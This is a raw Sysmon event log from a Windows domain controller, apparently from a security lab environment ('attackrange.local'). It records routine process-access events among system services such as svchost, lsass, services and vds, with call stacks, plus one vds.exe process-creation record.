09:09:35.528{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001295Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.528{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3800-000000007F01}3464C:\Windows\System32\vds.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5296|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+43e3b|C:\Windows\System32\RPCRT4.dll+46a2a|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001294Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.496{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001293Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.496{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001292Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.496{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001291Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.496{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001290Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.496{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001289Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.496{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001288Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.496{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001287Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.496{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001286Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.496{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001285Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.496{A5F018FF-28BD-5F80-0B00-000000007F01}868908C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+1b05d|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001284Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.496{A5F018FF-28BD-5F80-0B00-000000007F01}868908C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+25d17|C:\Windows\system32\lsasrv.dll+26ded|C:\Windows\system32\lsasrv.dll+25b95|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001283Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.496{A5F018FF-28BD-5F80-0B00-000000007F01}868908C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6a54|C:\Windows\System32\RPCRT4.dll+112df|C:\Windows\system32\lsasrv.dll+25add|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001282Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.496{A5F018FF-28BD-5F80-0A00-000000007F01}852940C:\Windows\system32\services.exe{A5F018FF-28CF-5F80-3800-000000007F01}3464C:\Windows\System32\vds.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6a54|C:\Windows\System32\RPCRT4.dll+112df|C:\Windows\system32\services.exe+18ff|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+43e3b|C:\Windows\System32\RPCRT4.dll+46a2a|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001281Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.483{A5F018FF-28BD-5F80-0A00-000000007F01}8522468C:\Windows\system32\services.exe{A5F018FF-28CF-5F80-2D00-000000007F01}2780C:\Windows\ADWS\Microsoft.ActiveDirectory.WebServices.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6a54|C:\Windows\System32\RPCRT4.dll+112df|C:\Windows\system32\services.exe+18ff|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+43e3b|C:\Windows\System32\RPCRT4.dll+46a2a|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001280Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.483{A5F018FF-28BC-5F80-0500-000000007F01}6441148C:\Windows\system32\csrss.exe{A5F018FF-28CF-5F80-3800-000000007F01}3464C:\Windows\System32\vds.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000001279Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.483{A5F018FF-28BD-5F80-0A00-000000007F01}8522620C:\Windows\system32\services.exe{A5F018FF-28CF-5F80-3800-000000007F01}3464C:\Windows\System32\vds.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6f453|C:\Windows\System32\KERNEL32.DLL+1d37f|C:\Windows\system32\services.exe+12939|C:\Windows\system32\services.exe+66f4|C:\Windows\system32\services.exe+5154|C:\Windows\system32\services.exe+d608|C:\Windows\system32\services.exe+4c6c|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+43e3b|C:\Windows\System32\RPCRT4.dll+46a2a|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000001278Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.479{A5F018FF-28CF-5F80-3800-000000007F01}3464C:\Windows\System32\vds.exe10.0.14393.2608 (rs1_release.181024-1742)Virtual Disk ServiceMicrosoft® Windows® Operating SystemMicrosoft Corporationvds.exeC:\Windows\System32\vds.exeC:\Windows\system32\NT AUTHORITY\SYSTEM{A5F018FF-28BD-5F80-E703-000000000000}0x3e70SystemMD5=EC0D95737DE497BA0AD2223322B21280,SHA256=DE976B547872B0919E16D5A97902B95893AD5B76DE6A11BE5F874EADBCA49F93,IMPHASH=3F541E0A1D775ACA4A7D5FBDFF8433C5{A5F018FF-28BD-5F80-0A00-000000007F01}852C:\Windows\System32\services.exeC:\Windows\system32\services.exe 10341000x80000000000000001277Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.475{A5F018FF-28BD-5F80-0B00-000000007F01}868908C:\Windows\system32\lsass.exe{A5F018FF-28BD-5F80-0A00-000000007F01}852C:\Windows\system32\services.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1e0a8|C:\Windows\system32\lsasrv.dll+1d2d1|C:\Windows\system32\lsasrv.dll+1bb00|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001276Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.475{A5F018FF-28BD-5F80-0B00-000000007F01}868988C:\Windows\system32\lsass.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+25d17|C:\Windows\system32\lsasrv.dll+26ded|C:\Windows\system32\lsasrv.dll+25b95|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001275Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.475{A5F018FF-28BD-5F80-0B00-000000007F01}868988C:\Windows\system32\lsass.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6a54|C:\Windows\System32\RPCRT4.dll+112df|C:\Windows\system32\lsasrv.dll+25add|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001274Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.475{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28BD-5F80-0B00-000000007F01}868C:\Windows\system32\lsass.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+f86b|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001273Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.475{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28BD-5F80-0B00-000000007F01}868C:\Windows\system32\lsass.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+f71b|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001272Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.475{A5F018FF-28BD-5F80-0B00-000000007F01}868908C:\Windows\system32\lsass.exe{A5F018FF-28BD-5F80-0A00-000000007F01}852C:\Windows\system32\services.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+1b05d|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001271Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 